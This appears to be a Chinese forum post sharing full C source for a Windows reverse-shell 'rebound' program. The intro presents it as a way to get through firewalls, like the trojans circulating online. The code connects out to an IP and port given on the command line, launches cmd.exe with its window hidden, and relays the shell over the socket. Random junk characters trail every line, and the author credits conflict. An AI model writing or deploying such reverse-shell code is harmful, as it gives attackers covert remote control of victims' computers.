这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uJ`N'`Z
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/* ============================== O[X*F2LC4
Rebound port in Windows NT (6,:X
By wind,2006/7 Gz`Jzh
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===============================*/ )! [B(
#include DJ ru|2
#include D@=]mh6vl
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#pragma comment(lib,"wsock32.lib") Km2~nkQ
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void OutputShell(); L3]J8oEmU
SOCKET sClient; !~^2Mu(X
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \Y#
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void main(int argc,char **argv) j/V_h'}
{ g4W$MI
WSADATA stWsaData; $W._FAAJ#
int nRet; )L<.;`g4x
SOCKADDR_IN stSaiClient,stSaiServer; 01Jav~WR
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if(argc != 3) ,\`ruWWLb=
{ ]36SF5<0r
printf("Useage:\n\rRebound DestIP DestPort\n"); ^Ks1[xc* `
return; a-5UG#o
} O"9t,B>=i
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WSAStartup(MAKEWORD(2,2),&stWsaData); (nqhX<T>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &H_/`Z]Q
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stSaiClient.sin_family = AF_INET; p{?duq=
stSaiClient.sin_port = htons(0); .M6. ]H
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8%4;'[UV
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) XRaGV~
{ AA-$;s
printf("Bind Socket Failed!\n"); rEr=Mi2
return; 1@Ba7>%'
} ?M90K)&g{
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stSaiServer.sin_family = AF_INET; ^;II@n
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); AyJl:aN^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \Y,P
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) R0M>'V?e
{ lG6&uMvo
printf("Connect Error!"); _d!sSyk`
return; :7@[=n
} >$kFYb>~q
OutputShell(); :b9#e g
} %<~Ewno T
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void OutputShell() ImQ-kz?b
{ y0O(n/
char szBuff[1024]; "'BDVxp'w
SECURITY_ATTRIBUTES stSecurityAttributes; ~ESw* 6s9
OSVERSIONINFO stOsversionInfo; b$w66q8
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7L+Wj }m
STARTUPINFO stStartupInfo; 2?(/$F9X,
char *szShell; 7]@M
PROCESS_INFORMATION stProcessInformation; l>jrY1u
unsigned long lBytesRead; %2RXrH2&H
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v~RxtTu
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A@M2(?w4
stSecurityAttributes.lpSecurityDescriptor = 0; 9X[378f+(
stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )fXxkOd
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -/3h&g
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); EQnU:a
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j % MY6"
stStartupInfo.wShowWindow = SW_HIDE; ~m R^j
stStartupInfo.hStdInput = hReadPipe; va~:Ivl-)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; y2k's
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GetVersionEx(&stOsversionInfo); x8z6 <
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switch(stOsversionInfo.dwPlatformId) &WCVdZK:
{ L9[m/(:y
case 1: XW'7
szShell = "command.com"; E.'6p \
break; }+ W5Snx
default: ;J?fK69%
szShell = "cmd.exe"; KW0KXO06a
break; -Hi_g@i*XW
} `,
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); C#&b`
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send(sClient,szMsg,77,0); 'o_ RC{k2"
while(1) 84(jg P
{ ?`*`A9@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J_
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if(lBytesRead) &=8ZGjR< }
{ Mc
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); RplcM%YJn
send(sClient,szBuff,lBytesRead,0); $~EY:
} d76C]R5L
else gi
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{ Mi!ak
lBytesRead=recv(sClient,szBuff,1024,0); IxP$lx
if(lBytesRead<=0) break; /[3!kW
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); RvW>kATb_F
} wS2N,X/Y
} or`"{wop
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return; yErvgf
}